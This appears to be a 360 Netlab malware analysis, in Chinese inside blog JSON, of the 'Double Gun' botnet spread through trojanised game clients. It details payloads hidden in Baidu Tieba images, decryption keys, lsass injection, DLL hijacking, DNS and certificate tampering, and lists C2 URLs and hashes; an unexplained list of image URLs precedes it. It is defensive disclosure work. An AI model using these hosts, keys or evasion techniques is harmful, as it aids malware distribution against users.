http://tiebapic.baidu.com/tieba/pic/item/574e9258d109b3de3570370edbbf6c81810a4c8d.jpg
http://tiebapic.baidu.com/tieba/pic/item/71cf3bc79f3df8dc14f25cf7da11728b4610288d.jpg
http://tiebapic.baidu.com/tieba/pic/item/8694a4c27d1ed21bd806fd83ba6eddc450da3f8d.jpg
http://tiebapic.baidu.com/tieba/pic/item/5bafa40f4bfbfbed5d96e5196ff0f736aec31f8d.jpg
http://tiebapic.baidu.com/tieba/pic/item/2f738bd4b31c8701b7786180307f9e2f0608ff8e.jpg
http://tiebapic.baidu.com/tieba/pic/item/503d269759ee3d6d620854ad54166d224e4ade8e.jpg
http://tiebapic.baidu.com/tieba/pic/item/f7246b600c338744a60bfc1a460fd9f9d62aa08e.jpg
http://tiebapic.baidu.com/tieba/pic/item/b7003af33a87e95054d9200a07385343faf2b48e.jpg
http://tiebapic.baidu.com/tieba/pic/item/b17eca8065380cd7fdd0718bb644ad345882818e.jpg
http://tiebapic.baidu.com/tieba/pic/item/30adcbef76094b36d45cc88bb4cc7cd98c109d8e.jpg
http://tiebapic.baidu.com/tieba/pic/item/2fdda3cc7cd98d107c1adf57363fb80e7aec908e.jpg
http://tiebapic.baidu.com/tieba/pic/item/5d6034a85edf8db16ae0af021e23dd54574e748e.jpg
http://tiebapic.baidu.com/tieba/pic/item/314e251f95cad1c81b752f41683e6709c83d518e.jpg
http://tiebapic.baidu.com/tieba/pic/item/b812c8fcc3cec3fd32f07413c188d43f8694278e.jpg
http://tiebapic.baidu.com/tieba/pic/item/50da81cb39dbb6fd8c9536401e24ab18962b378e.jpg
http://tiebapic.baidu.com/tieba/pic/item/574e9258d109b3de3570370edbbf6c81810a4c8d.jpg
http://tiebapic.baidu.com/tieba/pic/item/71cf3bc79f3df8dc14f25cf7da11728b4610288d.jpg
http://tiebapic.baidu.com/tieba/pic/item/8694a4c27d1ed21bd806fd83ba6eddc450da3f8d.jpg
http://tiebapic.baidu.com/tieba/pic/item/5bafa40f4bfbfbed5d96e5196ff0f736aec31f8d.jpg
http://tiebapic.baidu.com/tieba/pic/item/2f738bd4b31c8701b7786180307f9e2f0608ff8e.jpg
http://tiebapic.baidu.com/tieba/pic/item/503d269759ee3d6d620854ad54166d224e4ade8e.jpg
http://tiebapic.baidu.com/tieba/pic/item/f7246b600c338744a60bfc1a460fd9f9d62aa08e.jpg
http://tiebapic.baidu.com/tieba/pic/item/b7003af33a87e95054d9200a07385343faf2b48e.jpg
http://tiebapic.baidu.com/tieba/pic/item/b17eca8065380cd7fdd0718bb644ad345882818e.jpg
http://tiebapic.baidu.com/tieba/pic/item/30adcbef76094b36d45cc88bb4cc7cd98c109d8e.jpg
http://tiebapic.baidu.com/tieba/pic/item/5d6034a85edf8db16ae0af021e23dd54574e748e.jpg
http://tiebapic.baidu.com/tieba/pic/item/314e251f95cad1c81b752f41683e6709c83d518e.jpg
http://tiebapic.baidu.com/tieba/pic/item/b812c8fcc3cec3fd32f07413c188d43f8694278e.jpg
http://tiebapic.baidu.com/tieba/pic/item/50da81cb39dbb6fd8c9536401e24ab18962b378e.jpg
http://tiebapic.baidu.com/tieba/pic/item/b7003af33a87e95054d9200a07385343faf2b48e.jpg
http://tiebapic.baidu.com/tieba/pic/item/b17eca8065380cd7fdd0718bb644ad345882818e.jpg
http://tiebapic.baidu.com/tieba/pic/item/30adcbef76094b36d45cc88bb4cc7cd98c109d8e.jpg
http://tiebapic.baidu.com/tieba/pic/item/574e9258d109b3de3570370edbbf6c81810a4c8d.jpg
http://tiebapic.baidu.com/tieba/pic/item/71cf3bc79f3df8dc14f25cf7da11728b4610288d.jpg
http://tiebapic.baidu.com/tieba/pic/item/8694a4c27d1ed21bd806fd83ba6eddc450da3f8d.jpg
http://tiebapic.baidu.com/tieba/pic/item/5bafa40f4bfbfbed5d96e5196ff0f736aec31f8d.jpg
http://tiebapic.baidu.com/tieba/pic/item/2f738bd4b31c8701b7786180307f9e2f0608ff8e.jpg
http://tiebapic.baidu.com/tieba/pic/item/503d269759ee3d6d620854ad54166d224e4ade8e.jpg
http://tiebapic.baidu.com/tieba/pic/item/f7246b600c338744a60bfc1a460fd9f9d62aa08e.jpg
http://tiebapic.baidu.com/tieba/pic/item/b7003af33a87e95054d9200a07385343faf2b48e.jpg
http://tiebapic.baidu.com/tieba/pic/item/b17eca8065380cd7fdd0718bb644ad345882818e.jpg
http://tiebapic.baidu.com/tieba/pic/item/30adcbef76094b36d45cc88bb4cc7cd98c109d8e.jpg
http://tiebapic.baidu.com/tieba/pic/item/2fdda3cc7cd98d107c1adf57363fb80e7aec908e.jpg
http://tiebapic.baidu.com/tieba/pic/item/5d6034a85edf8db16ae0af021e23dd54574e748e.jpg
http://tiebapic.baidu.com/tieba/pic/item/314e251f95cad1c81b752f41683e6709c83d518e.jpg
http://tiebapic.baidu.com/tieba/pic/item/b812c8fcc3cec3fd32f07413c188d43f8694278e.jpg
http://tiebapic.baidu.com/tieba/pic/item/50da81cb39dbb6fd8c9536401e24ab18962b378e.jpg
| {"version":"0.3.1","atoms":[],"cards":[["markdown",{"markdown":"*本文作者：[jinye](https://twitter.com/SethKingHi)，[JiaYu](https://twitter.com/JiaYu_521)，suqitian，核心安全部研究员THL*\n\n## 概述\n\n近日，我们的域名异常监测系统 DNSMon 捕捉到域名 `pro.csocools.com` 的异常活动。根据数据覆盖度估算，感染规模超过100k。我们通过告警域名关联到一批样本和 C2，分析样本后发现是与双枪恶意程序相关的团伙开始新的大规模活动。近年来双枪团伙屡次被安全厂商曝光和打击，但每次都能死灰复燃高调复出，可见其下发渠道非常庞大。本次依然是因为受感染主机数量巨大，导致互联网监测数据异常，触发了netlab的预警系统。本报告中我们通过梳理和这些URL相关的C2发现了一些模式，做了一些推测。\n\n我们观察到恶意软件除了使用百度贴吧图片来分发配置文件和恶意软件，还使用了阿里云存储来托管配置文件。为了提高灵活性和稳定性，加大阻拦难度，开发者还利用百度统计这种常见的网络服务来管理感染主机的活跃情况。同时我们在样本中多次发现了腾讯微云的URL地址，有意思的是我们在代码中并没有找到引用这些地址的代码。至此，双枪团伙第一次将BAT三大厂商的服务集成到了自己的程序中，可以预见使用开放服务来管理僵尸网络或将成为流行趋势。有必要澄清的是，这些公开服务本身均为技术中立，此恶意代码中滥用这些公开服务完全是其作者的蓄意行为，各主要互联网公司均在用户许可中明确反对并采取措施抵御这些恶意滥用行为。\n\n5月14日起，我们联系到了百度安全团队，采取了联合行动，对该恶意代码的传播范围做了度量，并采取了抵御措施。截止本文发稿，相关的恶意代码下载链接已经被阻断。百度安全团队对该事件的声明见文末。\n\n## IOC关联分析 \n\n从告警域名入手，通过DNS解析记录和样本流量分析建立IOC关联，过滤掉孤立和噪音节点，我们找到了一组与此次传播活动有关的关键C2。从下面截取的部分IOC关联图可以看出，几乎所有的域名都和两个关键的ip 地址 125.124.255.20 和 125.124.255.79 有关，围绕这两个ip地址，双枪团伙从19年下半年开始依次启用了一批域名来控制和下发恶意程序。事实上这个团伙长期且稳定的控制了大量 125.124.255.0/24 网段的ip地址，可以看出他们拥有非常丰富的网络资源。\n\n<div align=\"center\"><img width=\"600\" src=\"__GHOST_URL__/content/images/2020/04/IOC_simple.png\"/></div>\n\n通过样本溯源可以看到，这次大规模感染主要是通过诱导用户安装包含恶意代码的网游私服客户端，具体感染方式大体分为两种，下面进行深入分析。\n\n<div align=\"center\"><img width=\"1000\" src=\"__GHOST_URL__/content/images/2020/04/pljx_infect_flow-2.png\"/></div>\n\n## 感染方式1 — 启动器内包含恶意代码\n\n### 阶段1 — 下载并加载cs.dll恶意文件\n\n各类私服入口\n\n<div align=\"center\"><img width=\"700\" src=\"__GHOST_URL__/content/images/2020/04/clinet_web_page.png\"/></div>\n\n点击下载链接跳到私服主页\n\n<div align=\"center\"><img width=\"700\" src=\"__GHOST_URL__/content/images/2020/04/client_home_page.png\"/></div>\n\n登录器下载 “蟠龙军衔.zip”\n\n<div align=\"center\"><img width=\"700\" src=\"__GHOST_URL__/content/images/2020/04/clinet_zip_file.png\"/></div>\n\n含恶意代码的私服客户端启动器被用户下载并执行，恶意代码访问配置信息服务器，然后根据配置信息从百度贴吧下载并动态加载名为 **cs.dll** 的最新版本恶意程序。cs.dll 中的敏感字串使用了一种变形的 DES 加密方法，这种加密算法和我们之前捕捉到的双枪样本高度相似。我们从样本主体 exe 文件入手，逐步分析上述恶意行为。\n\n\n+ 文件结构\n\n \"蟠龙军衔.exe\" PE Resource 中包含 7 个文件，Widget.dll 是客户端组件，资源文件中的**cs.dll** 是旧版的恶意程序。4 个 `.sys` 文件是私服客户端的驱动程序，虽然命名为`Game Protect`，但我们在代码中发现了劫持流量插入广告的代码。\n\n <div align=\"center\"><img width=\"500\" src=\"__GHOST_URL__/content/images/2020/04/pljx_pe_res-1.png\"/></div>\n\n+ 下载配置信息\n\n 启动器创建线程访问加密配置文件 `http://mtdlq.oss-cn-beijing.aliyuncs.com/cscsmt.txt`\n\n <div align=\"center\"><img width=\"700\" src=\"__GHOST_URL__/content/images/2020/04/get_mtdlq_cfg_code.png\"/></div>\n\n <div align=\"center\"><img width=\"700\" src=\"__GHOST_URL__/content/images/2020/04/mtdlq_cfg.png\"/></div>\n\n 页面包含 8 行 16 进制字串，与密钥 `B2 09 BB 55 93 6D 44 47` 循环异或即可解密。\n\n <div align=\"center\"><img width=\"700\" src=\"__GHOST_URL__/content/images/2020/04/xor_decrypt_code.png\"/></div>\n\n 解密后是 8 个百度贴吧图片的地址。\n\n <div align=\"center\"><img width=\"700\" src=\"__GHOST_URL__/content/images/2020/04/mtdlq_cfg_decryptd.png\"/></div>\n\n+ 下载图片文件切割并重组 cs.dll 文件 \n\n 直接访问图片地址，图片文内容看起来像是随机生成的。\n \n <div align=\"center\"><img width=\"700\" src=\"__GHOST_URL__/content/images/2020/04/mtdlq_cfg_tieba_jpg.png\"/></div>\n\n 恶意程序会下载图片文件，每张图片使用 `><>>><` 为标记来分隔图像数据和恶意代码数据。\n\n <div align=\"center\"><img width=\"700\" src=\"__GHOST_URL__/content/images/2020/04/mtdlq_cfg_tiebao_jpg_cut_pe.png\"/></div>\n\n 把所有恶意代码拼接起来我们得到了阶段 2 的恶意程序 cs.dll。\n\n <div align=\"center\"><img width=\"700\" src=\"/content/images/2020/04/cs_abcd_exp_EP.png\"/></div>\n \n 恶意程序通过内存映射的方式加载上述 cs.dll，然后调用导出函数 **abcd()** 进入阶段 2 ，所以并没有文件落地。\n\n <div align=\"center\"><img width=\"700\" src=\"__GHOST_URL__/content/images/2020/04/mtdl_load_cs_abcd.png\"/></div>\n\n### 阶段2 — 上报主机信息，释放并加载恶意驱动\n\ncs.dll 会进行一些简单的虚拟机和杀软对抗，利用百度统计服务上报 Bot 信息，释放第 3 阶段 VMP 加壳的驱动程序（包含x86/x64两个版本）。\n\n+ DES 解密算法\n\n 样本中的 DES 解密算法为恶意软件作者自定义实现，加密模式为 CBC，无填充。DES 加密算法的转换表与旧版（[“双枪”木马的基础设施更新及相应传播方式的分析](__GHOST_URL__/shuang-qiang-mu-ma-ji-chu-she-shi-geng-xin-ji-xiang-ying-chuan-bo-fang-shi-fen-xi/)）相同 。本次恶意活动涉及的 DES 解密，都涉及 2 层解密，第一层解密，先以 Base64 算法解码字符串 **dBvvIEmQW2s=** 得到一份二进制数据，再以空密钥 `\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00` 对上述二进制数据解密，得出字串 `helloya\\x00`，再以此字串作为密钥，用自研 DES 算法解密其他大量密文数据。完整的解密过程如下：\n\n <div align=\"center\"><img width=\"800\" src=\"__GHOST_URL__/content/images/2020/04/mal_des-1.png\"/></div>\n\n+ 检查虚拟主机环境 VM 和 WM\n\n 通过检查注测表项判断是否是 VMWare 主机，如果是 VM 主机代码则直接返回。\n\n <div align=\"center\"><img width=\"700\" src=\"__GHOST_URL__/content/images/2020/04/cs_abc_checkVM.png\"/></div>\n\n 检查系统服务 **WayOSFw** 是否存在，如果服务存在则直接返回。\n\n <div align=\"center\"><img width=\"700\" src=\"__GHOST_URL__/content/images/2020/04/cs_abc_checkWM.png\"/></div>\n\n\n+ 创建 Bot ID\n\n 使用系统 API 创建主机的 Bot ID，写入注册表 `SOFTWARE\\\\PCID`，\n\n <div align=\"center\"><img width=\"700\" src=\"__GHOST_URL__/content/images/2020/04/cs_abc_create_bot_id.png\"/></div>\n\n+ 利用百度统计服务管理 Bot\n\n 恶意软件的开发者借用了百度统计接口的一些标准字段来上报主机敏感信息，利用百度统计这种常见的网络行为来管理感染主机的活跃情况。因为百度统计服务被大量网站使用，从流量上看是一套合规的浏览器网络行为，所以很难将其区分出来，加大了安全厂商打击的难度。\n\n 恶意程序首先使用一个名为 **DataWork()** 的函数伪造浏览器请求，下载 **hm.js** 脚本。\n\n <div align=\"center\"><img width=\"800\" src=\"__GHOST_URL__/content/images/2020/04/cs_abc_baidu_cookie_GET_headers.png\"/></div>\n\n <div align=\"center\"><img width=\"800\" src=\"__GHOST_URL__/content/images/2020/04/cs_abc_datawork_dl_hm_js.png\"/></div>\n\n 保存返回信息中的用户 Cookie 信息 **HMACCOUNT** 到注册表。\n\n <div align=\"center\"><img width=\"700\" src=\"__GHOST_URL__/content/images/2020/04/cs_abc_baidu_cookie_path.png\"/></div>\n\n <div align=\"center\"><img width=\"700\" src=\"__GHOST_URL__/content/images/2020/04/cs_abc_baidu_cookie_hm.png\"/></div>\n\n 通过 `http://hm.baidu.com/hm.gif?` 接口，恶意程序将提取到的统计脚本的版本信息`this.b.v`、用户 Cookie 信息、bot_id 和伪造的其它统计信息组包上报，恶意软件开发者使用百度统计的后台可以方便的管理和评估感染用户。\n\n <div align=\"center\"><img width=\"700\" src=\"__GHOST_URL__/content/images/2020/04/cs_abc_baidu_hm_gif_url.png\"/></div>\n\n+ 从 **Dat** 资源解密，创建，安装驱动\n\n 检查是否安装了 `XxGamesFilter` 等私服客户端驱动。\n\n <div align=\"center\"><img width=\"700\" src=\"__GHOST_URL__/content/images/2020/04/cs_abc_checkGameProtectDriver.png\"/></div>\n\n 根据安装情况和操作系统版本选择不同的资源 ID，每一个资源对应不同版本的驱动（32 位系统使用 ID 为 111 或 109 资源，64 位系统使用 ID 为 110 或 112 的资源）。\n\n <div align=\"center\"><img width=\"700\" src=\"__GHOST_URL__/content/images/2020/04/cs_abc_load_Dat_res.png\"/></div>\n\n 资源是简单加密过的，以解密 32 位驱动为例，首先倒转数据顺序，然后逐字节和系统版本数值 32 异或，得到一个 VMP 加壳的驱动文件。 \n\n <div align=\"center\"><img width=\"700\" src=\"__GHOST_URL__/content/images/2020/04/cs_abc_decrypt_Dat_GameGu_32.png\"/></div>\n\n 检测是否存在 `TeSafe` 驱动，如果存在刚中断感染流程。计算 `TeSafe+{Computer Name}` 的 MD5 值，检测是否存在名为该 MD5 字串的驱动，如果存在说明系统已经被感染过，也会中断感染流程。\n\n ```\n //拼接字串\n +00 54 65 53 61 66 65 2B 57 49 4E 2D 52 48 39 34 50 TeSafe+WIN-RH94P \n +10 42 46 43 37 34 41 00 00 00 00 00 00 00 00 00 00 BFC74A.......... \n\n //拼接字串的MD5值 \n +00 46 34 36 45 41 30 37 45 37 39 30 33 33 36 32 30 F46EA07E79033620 \n +10 43 45 31 33 44 33 35 44 45 31 39 41 41 43 34 32 CE13D35DE19AAC42 \n ```\n\n 如果系统 `EnableCertPaddingCheck` 注册表项关闭，则替换文件末尾 16 字节为随机数据。这样每个感染主机上的样本 HASH 值完全不一样，可以对抗基于 HASH 查杀的方案。\n\n <div align=\"center\"><img width=\"700\" src=\"__GHOST_URL__/content/images/2020/04/cs_abc_checkEnableCertPaddingCheck.png\"/></div>\n\n <div align=\"center\"><img width=\"700\" src=\"__GHOST_URL__/content/images/2020/04/cs_abc_padding_rand_data_code.png\"/></div>\n\n\n 将驱动程序释放到 TEMP 目录下，文件名为长度为 7 的随机字符串。例如：`\"C:\\Users\\{User Name}\\AppData\\Local\\Temp\\iiitubl\"` \n \n 注册驱动文件启动服务并检测安装是否成功。\n \n <div align=\"center\"><img width=\"700\" src=\"__GHOST_URL__/content/images/2020/04/cs_abc_check_drv_install.png\"/></div> \n\n### 阶段3 — 劫持系统进程，下载后续恶意程序\n\n驱动运行后会拷贝自己到 `Windows/system32/driver/{7个随机字符}.sys` ，伪造驱动设备信息为常见的合法驱动，如 `fltMgr.sys` ，向系统进程 `Lassas.exe` 和 `svchost.exe` 注入 DLL 模块。完成整个初始化过程后，就形成了一个驱动和 DLL 模块通过 **DeviceIoControl()** 通信合作来完成作务的工作模式，这是一个驱动级别的下载器。所有敏感的配置信息都保存在驱动内部，DLL 通过调用驱动来获得配置服务器相关信息，根据下载的配置信息去百度贴吧下载其它恶意代码，进行下一阶段的恶意活动。\n\n+ 驱动运行后用APC注入法向系统进程 Lassas.exe 注入 DLL 模块。\n \n <div align=\"center\"><img width=\"600\" src=\"__GHOST_URL__/content/images/2020/04/dl_drv_inject_lsass.png\"/></div>\n\n <div align=\"center\"><img width=\"700\" src=\"__GHOST_URL__/content/images/2020/04/dl_drv_inject_apc.png\"/></div>\n\n <div align=\"center\"><img width=\"700\" src=\"__GHOST_URL__/content/images/2020/04/lassas_inected_dll_mem_layoout.png\"/></div> \n\n <div align=\"center\"><img width=\"700\" src=\"__GHOST_URL__/content/images/2020/04/lassas_inected_dll_mem_PE_header.png\"/></div> \n\n\n+ DLL 配合驱动的执行过程。\n \n DLL 首先尝试创建互斥对象 `{12F7BB4C-9886-4EC2-B831-FE762D4745DC}` ，防止系统创建多个实例。\n \n <div align=\"center\"><img width=\"800\" src=\"__GHOST_URL__/content/images/2020/04/dl_drv_create_mutex.png\"/></div> \n\n 接着会检查宿住进程是否是 Lsass.exe 或 svchost.exe，确保不是运行在沙箱之类的分析环境中。\n\n <div align=\"center\"><img width=\"700\" src=\"__GHOST_URL__/content/images/2020/04/dl_drv_check_host_process.png\"/></div> \n\n 尝试创建设备 `\"\\\\.\\F46EA07E79033620CE13D35DE19AAC42\"` 句柄，建立和驱动模块的通信。\n\n <div align=\"center\"><img width=\"800\" src=\"__GHOST_URL__/content/images/2020/04/dl_drv_open_tesafe.png\"/></div> \n\n 向驱动发送 **0x222084** 设备控制码，获得连接服务器的配置信息。和配置服务器的通信使用 HTTPS+DES 的双重加密方式，配置信息包含三个重要的部分：\n \n <div align=\"center\"><img width=\"800\" src=\"__GHOST_URL__/content/images/2020/04/dl_drv_deviceio_get_init_cfg.png\"/></div> \n\n 1. 主机信息上报服务 `https://cs.wconf5.com:12709/report.ashx`，供 DLL 上报主机基本信息。\n\n bot id，安装时间等基本信息。\n\n <div align=\"center\"><img width=\"600\" src=\"__GHOST_URL__/content/images/2020/04/dl_drv_collect_host_info_all.png\"/></div> \n\n 是否安装 360 杀毒，是否是虚拟机环境。\n \n <div align=\"center\"><img width=\"700\" src=\"__GHOST_URL__/content/images/2020/04/dl_drv_collect_host_info_vm_av.png\"/></div> \n\n 是否是无盘工作站。\n\n <div align=\"center\"><img width=\"600\" src=\"__GHOST_URL__/content/images/2020/04/dl_drv_collect_host_info_vdisk.png\"/></div> \n\n 上报主机信息使用DES加密，密钥为 `HQDCKEY1`。\n\n <div align=\"center\"><img width=\"600\" src=\"__GHOST_URL__/content/images/2020/04/dl_drv_submit_hostinfo.png\"/></div> \n\n 2. 访问 `https://cs.wconf5.com:12710/123.html` 下载配置信息：\n\n <div align=\"center\"><img width=\"700\" src=\"__GHOST_URL__/content/images/2020/04/dl_drv_get_cfg_123.png\"/></div> \n\n 配置信息依然是变形 DES 加密，解密密钥为 `HQDCKEY1`。解密后可以看到配置信息使用自定义的格式，两个百度图片为一组，截取有效数据拼接为一个有效文件：\n\n <div align=\"center\"><img width=\"800\" src=\"__GHOST_URL__/content/images/2020/04/dl_drv_cfg_123_decrypted.png\"/></div> \n\n 3. 配置信息 `https://share.weiyun.com/5dSpU6a` 功能未知： \n\n <div align=\"center\"><img width=\"600\" src=\"__GHOST_URL__/content/images/2020/04/dl_drv_query_weiyun.png\"/></div> \n \n 所有驱动样本返回的配置信息都包含一个腾讯微云地址，直接访问该地址可以看到若干字符和数字组成的无意义字串。我们在收集到的配置信息中发现，每组数据中的配置信息服务器和微云保存的数据存在特定的模式。以上图为例，访问腾讯微云，获取字符串 `cs127`，其同组数据中的配置文件服务器的子域为 `cs.xxxx.com` ，端口为`127xx`。这看起来像是一种动态生成配置文件服务器地址的策略，推测可能是还在开发阶段的功能，所以样本中并未包含对应代码。\n\n 完成上述初始化过程后，驱动开始根据配置文件进入真正的功能操作。根据解析的配置文件，dll和驱动模块配合可以完成非常复杂的功能，下面罗列其中一部分功能。\n\n+ 更新驱动文件\n \n 程序会使用另一套算法得到DES解密密钥 **`HelloKey`**，最后用 DES 算法解出最终数据：\n\n <div align=\"center\"><img width=\"800\" src=\"__GHOST_URL__/content/images/2020/04/dl_drv_decrypt_hellokey.png\"/></div> \n\n+ 劫持进程ip地址。\n \n <div align=\"center\"><img width=\"600\" src=\"__GHOST_URL__/content/images/2020/04/dl_drv_hijack_process_ip.png\"/></div> \n\n+ 向系统中添加证书\n\n <div align=\"center\"><img width=\"600\" src=\"__GHOST_URL__/content/images/2020/04/dl_drv_add_root_cert.png\"/></div> \n\n+ 下载文件到 TEMP 目录并创建进程。\n\n <div align=\"center\"><img width=\"800\" src=\"__GHOST_URL__/content/images/2020/04/dl_drv_tmp_create_process.png\"/></div> \n\n+ 篡改 DNS配置\n\n <div align=\"center\"><img width=\"900\" src=\"__GHOST_URL__/content/images/2020/04/dl_drv_setDns.png\"/></div>\n\n+ PAC 代理劫持\n\n <div align=\"center\"><img width=\"600\" src=\"__GHOST_URL__/content/images/2020/04/dl_drv_hijack_pac.png\"/></div> \n\n---\n\n## 感染方式2 — DLL 劫持\n\n感染方式 2 依然是以私服客户端为载体，但是在技术细节上有较大差异。\n\n登录器下载页面：\n\n<div align=\"center\"><img width=\"80%\" src=\"__GHOST_URL__/content/images/2020/04/client2_home_page.png\"/></div> \n\n下载后的登录器：\n\n<div align=\"center\"><img width=\"80%\" src=\"__GHOST_URL__/content/images/2020/04/clinet2_zip_file.png\"/></div> \n\n多款类似游戏的私服客户端的组件 **photobase.dll** 被替换成同名的恶意 DLL 文件，恶意 DLL 文件的 PE Resource 中包含 3 个关键文件：\n\n<img src=\"__GHOST_URL__/content/images/2020/04/photobase_dll_pe_rsrc.png\" style=\"zoom:80%;\" />\n\n恶意 **photobase.dll** 有两个关键动作：\n\n1. 首先会释放相应架构的恶意驱动程序，然后注册系统服务并启动；\n\n2. 然后加载真正的 photobase.dll 文件，并将导出函数转发到真正的 photobase.dll。\n\n\n后续感染流程同上。 这是一套标准的 DLL 劫持加载方式。\n\n### 阶段1 — 释放并加载恶意驱动\n\n恶意 photobase.dll 文件会首先为即将释放的恶意驱动文件生成一个随机文件名，文件名为 10 个随机字符，文件后缀为 `.dat`，并把自身 PE Resource 中相应的驱动文件放到 `%windir%\\Temp\\` 目录下。\n\n然后为落地的恶意驱动文件注册系统服务，并启动服务：\n\n<img src=\"__GHOST_URL__/content/images/2020/04/photobase_dll_load_driver.png\" style=\"zoom:70%;\" />\n\n恶意驱动接下来的活动与前面第一种感染方式雷同，即下载、解密并最终加载其他恶意文件。\n\n### 阶段2 — 加载真 photobase.dll\n\n在恶意 photobase.dll PE Resource 中的真 photobase.dll 文件的前 2 个字节被置空：\n\n<img src=\"__GHOST_URL__/content/images/2020/04/photobase_dll_PE_rsrc_real_dll.png\" style=\"zoom:80%;\" />\n\n恶意 photobase.dll 从 PE Resource 中提取这份文件的时候，会把这前 2 个字节以 `MZ`(PE 文件头) 填充：\n\n<img src=\"__GHOST_URL__/content/images/2020/04/photobase_dll_fix_PE_file_header.png\" style=\"zoom:60%;\" />\n\n然后，恶意的 photobase.dll 文件会为刚载入的真正的 photobase.dll 文件载入动态链接库、导入相关函数，最后，把真 photobase.dll 中的导出函数转发到自己的导出函数中。部分转发的导出函数如下：\n\n<img src=\"__GHOST_URL__/content/images/2020/04/part_of_forwarded_funcs.png\" style=\"zoom:80%;\" />\n\n以上面高亮的导出函数 `Sqm::AddToStream()` 为例，恶意 photobase.dll 中的转发实现如下：\n\n<img src=\"__GHOST_URL__/content/images/2020/04/forwarded_func.png\" style=\"zoom:70%;\" />\n\n## 百度安全团队声明\n基于海量威胁情报，百度安全反黑产开放平台配合测算出僵尸网络的规模。平台同时启动相关措施，尝试对受僵尸网络控制的用户进行风险提示。在本次联合行动中，通过黑产威胁情报分析、共享、应对等举措，我们对于双枪团伙的作案技术手段、逻辑及规则形成进一步认知。\n\n---\n\n\n\n## 附录\n\n### DES 加解密算法中的自定义转换表：\n\n以下转换表不同于大部分 DES 加解密的公开实现，左移位数表与 SBox 表都同于常见 DES 算法实现。\n\n```\n# Permutation and translation tables for DES\n__pc1 = [\n 56, 48, 40, 32, 24, 16, 8,\n 0, 57, 49, 41, 33, 25, 17,\n 9, 1, 58, 50, 42, 34, 26,\n 18, 10, 2, 59, 51, 43, 35,\n 62, 54, 46, 38, 30, 22, 14,\n 6, 61, 53, 45, 37, 29, 21,\n 13, 5, 60, 52, 44, 36, 28,\n 20, 12, 4, 27, 19, 11, 3\n]\n# permuted choice key (table 2)\n__pc2 = [\n 13, 16, 10, 23, 0, 4,\n 2, 27, 14, 5, 20, 9,\n 22, 18, 11, 3, 25, 7,\n 15, 6, 26, 19, 12, 1,\n 40, 51, 30, 36, 46, 54,\n 29, 39, 50, 44, 32, 46,\n 43, 48, 38, 55, 33, 52,\n 45, 41, 49, 35, 28, 31\n]\n# initial permutation IP\n__ip = [\n 57, 49, 41, 33, 25, 17, 9, 1,\n 59, 51, 43, 35, 27, 19, 11, 3,\n 61, 53, 45, 37, 29, 21, 13, 5,\n 63, 55, 47, 39, 31, 23, 15, 7,\n 56, 48, 40, 32, 24, 16, 8, 0,\n 58, 50, 42, 34, 26, 18, 10, 2,\n 60, 52, 44, 36, 28, 20, 12, 4,\n 62, 54, 46, 38, 30, 22, 14, 6\n]\n# Expansion table for turning 32 bit blocks into 48 bits\n__expansion_table = [\n 31, 0, 1, 2, 3, 4,\n 3, 4, 5, 6, 7, 8,\n 7, 8, 9, 10, 11, 12,\n 11, 12, 13, 14, 15, 16,\n 15, 16, 17, 18, 19, 20,\n 19, 20, 21, 22, 23, 24,\n 23, 24, 25, 26, 27, 28,\n 27, 28, 29, 30, 31, 0\n]\n# 32-bit permutation function P used on the output of the S-boxes\n__p = [\n 15, 6, 19, 20, 28, 11,\n 27, 16, 0, 14, 22, 25,\n 4, 17, 30, 9, 1, 7,\n 23, 13, 31, 26, 2, 8,\n 18, 12, 29, 5, 21, 10,\n 3, 24\n]\n# final permutation IP^-1\n__fp = [\n 39, 7, 47, 15, 55, 23, 63, 31,\n 38, 6, 46, 14, 54, 22, 62, 30,\n 37, 5, 45, 13, 53, 21, 61, 29,\n 36, 4, 44, 12, 52, 20, 60, 28,\n 35, 3, 43, 11, 51, 19, 59, 27,\n 34, 2, 42, 10, 50, 18, 58, 26,\n 33, 1, 41, 9, 49, 17, 57, 25,\n 32, 0, 40, 8, 48, 16, 56, 24\n]\n```\n\n\n\n## 联系我们\n\n感兴趣的读者，可以在 **[twitter](https://twitter.com/360Netlab)** 或者通过邮件 **netlab[at]360.cn** 联系我们。\n\n## 部分IOC：\n\n### C&Cs\n\n```\npro.csocools.com\nwww.w15773.com\ncs.wconf5.com\ncs.ledfaguang.com\nwhite.fei46413.com\n```\n\n### MD5\n\n```\naa497dfb5a92c28f7fa5b8e049155da0\n081e586a6010b3b72ba4934f8cbdb368\n04db0b062c7491a124bf7388d783c17e\n0c0f43ed8317869918a23a7e7bfeb0e8\n1785ef2d8bd40d8af32cca0f536cb6e8\n3fb5e2c05b73168c3f259d64b8978a64\n```\n\n### URLs\n\n```\nhttps://share.weiyun.com/5XqTYW6\nhttps://www.w15773.com:12310/123.html\nhttps://www.w15773.com:12309/report.ashx\nhttp://www.w15773.com:12313/config.html\nhttp://www.w15773.com:8889/stat1.ashx\n\nhttps://pro.csocools.com:12310/123.html\nhttps://pro.csocools.com:12309/report.ashx\nhttp://pro.csocools.com:8889/stat1.ashx\n\nhttps://share.weiyun.com/5dSpU6a\nhttps://cs.wconf5.com:12709/report.ashx\nhttps://cs.wconf5.com:12710/123.html\nhttps://cs.wconf5.com:12713/config.html\nhttps://cs.wconf5.com:12715/GetTag.ashx\nhttp://cs.wconf5.com:8889/stat1.ashx\n\nhttps://cs.ledfaguang.com:12710/123.html\nhttps://cs.ledfaguang.com:12709/report.ashx\nhttp://cs.ledfaguang.com:12713/config.html\nhttp://cs.ledfaguang.com:8889/stat1.ashx\n\nhttp://white.fei46413.com:12313/config.html\nhttp://white.fei46413.com:8889/stat1.ashx\n\nhttps://ap.echoit1.com:12310/123.html\nhttps://ap.echoit1.com:12309/report.ashx\nhttps://ap.echoit1.com:12710/123.html\nhttps://ap.echoit1.com:12709/report.ashx\n\nhttp://tiebapic.baidu.com/tieba/pic/item/72f082025aafa40fcbf1a1b9bc64034f78f0199a.jpg\nhttp://tiebapic.baidu.com/tieba/pic/item/bf096b63f6246b600e2fa810fcf81a4c510fa2b4.jpg\nhttp://tiebapic.baidu.com/tieba/pic/item/c83d70cf3bc79f3da8c48b54ada1cd11728b29a8.jpg\nhttp://tiebapic.baidu.com/tieba/pic/item/8326cffc1e178a82281910c4e103738da977e8a9.jpg\nhttp://tiebapic.baidu.com/tieba/pic/item/0823dd54564e9258e210e98a8b82d158ccbf4ea9.jpg\nhttp://tiebapic.baidu.com/tieba/pic/item/a2cc7cd98d1001e9331b7b6baf0e7bec54e797aa.jpg\nhttp://tiebapic.baidu.com/tieba/pic/item/241f95cad1c8a786800c256a7009c93d70cf50a